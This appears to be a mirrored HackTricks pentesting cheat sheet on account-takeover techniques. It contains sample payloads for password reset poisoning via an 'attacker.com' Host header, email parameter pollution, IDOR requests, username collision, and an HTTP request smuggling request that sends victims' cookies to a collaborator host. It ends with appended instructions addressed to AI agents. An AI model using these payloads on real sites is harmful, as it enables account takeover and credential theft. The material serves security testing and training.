# Registration & Takeover Vulnerabilities

🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

## Registration Takeover ### Duplicate Registration * Try to generate using an existing username * Check varying the email: * uppsercase * +1@ * add some some in the email * special characters in the email name (%00, %09, %20) * Put black characters after the email: `test@test.com a` * @attacker.com * @gmail.com ### Username Enumeration Check if you can figure out when a username has already been registered inside the application. ### Password Policy Creating a user check the password policy (check if you can use weak passwords).\ In that case you may try to bruteforce credentials. ### SQL Injection [**Check this page** ](/dashboard/pentesting-web/sql-injection.md#insert-statement)to learn how to attempt account takeovers or extract information via **SQL Injections** in registry forms. ### Oauth Takeovers {% content-ref url="/pages/KFXKTxy8X82mO562oyvY" %} [OAuth to Account takeover](/dashboard/pentesting-web/oauth-to-account-takeover.md) {% endcontent-ref %} ### SAML Vulnerabilities {% content-ref url="/pages/IcPeBoGjvvx70pHIVXL3" %} [SAML Attacks](/dashboard/pentesting-web/saml-attacks.md) {% endcontent-ref %} ### Change Email when registered try to change the email and check if this change is correctly validated or can change it to arbitrary emails. ### More Checks * Check if you can use **disposable emails** * **Long** **password** (>200) leads to **DoS** * **Check rate limits on account creation** * Use username@**burp\_collab**.net and analyze the **callback** ## **Password Reset Takeover** ### Password Reset Token Leak Via Referrer 1. Request password reset to your email address 2. Click on the password reset link 3. Don’t change password 4. Click any 3rd party websites(eg: Facebook, twitter) 5. Intercept the request in Burp Suite proxy 6. Check if the referer header is leaking password reset token. ### Password Reset Poisoning 1. Intercept the password reset request in Burp Suite 2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com` 3. Forward the request with the modified header\ `http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com` 4. Look for a password reset URL based on the *host header* like : `https://attacker.com/reset-password.php?token=TOKEN` ### Password Reset Via Email Parameter ```powershell # parameter pollution email=victim@mail.com&email=hacker@mail.com # array of emails {"email":["victim@mail.com","hacker@mail.com"]} # carbon copy email=victim@mail.com%0A%0Dcc:hacker@mail.com email=victim@mail.com%0A%0Dbcc:hacker@mail.com # separator email=victim@mail.com,hacker@mail.com email=victim@mail.com%20hacker@mail.com email=victim@mail.com|hacker@mail.com ``` ### IDOR on API Parameters 1. Attacker have to login with their account and go to the **Change password** feature. 2. Start the Burp Suite and Intercept the request 3. Send it to the repeater tab and edit the parameters : User ID/email\ `powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})` ### Weak Password Reset Token The password reset token should be randomly generated and unique every time.\ Try to determine if the token expire or if it’s always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm. * Timestamp * UserID * Email of User * Firstname and Lastname * Date of Birth * Cryptography * Number only * Small token sequence ( characters between \[A-Z,a-z,0-9]) * Token reuse * Token expiration date ### Leaking Password Reset Token 1. Trigger a password reset request using the API/UI for a specific email e.g: 2. Inspect the server response and check for `resetToken` 3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]` ### Password Reset Via Username Collision 1. Register on the system with a username identical to the victim’s username, but with white spaces inserted before and/or after the username. e.g: `"admin "` 2. Request a password reset with your malicious username. 3. Use the token sent to your email and reset the victim password. 4. Connect to the victim account with the new password. The platform CTFd was vulnerable to this attack.\ See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) ### Account Takeover Via Cross Site Scripting 1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com` 2. Leak the current **sessions cookie** 3. Authenticate as the user using the cookie ### Account Takeover Via HTTP Request Smuggling 1\. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)\ `powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\ 2\. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:\ `GET http://something.burpcollaborator.net HTTP/1.1 X:` with the goal of open redirect the victims to burpcollab and steal their cookies\ 3\. Final request could look like the following ``` GET / HTTP/1.1 Transfer-Encoding: chunked Host: something.com User-Agent: Smuggler/v1.0 Content-Length: 83 0 GET http://something.burpcollaborator.net HTTP/1.1 X: X ``` Hackerone reports exploiting this bug\ \* \ \* ### Account Takeover via CSRF 1. Create a payload for the CSRF, e.g: “HTML form with auto submit for a password change” 2. Send the payload ### Account Takeover via JWT JSON Web Token might be used to authenticate an user. * Edit the JWT with another User ID / Email * Check for weak JWT signature {% content-ref url="/pages/bqF37DD9KTj1gitZ5Mhi" %} [JWT Vulnerabilities (Json Web Tokens)](/dashboard/pentesting-web/hacking-jwt-json-web-tokens.md) {% endcontent-ref %} ## References *

🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥

--- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://breached.gitbook.io/dashboard/pentesting-web/registration-vulnerabilities.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.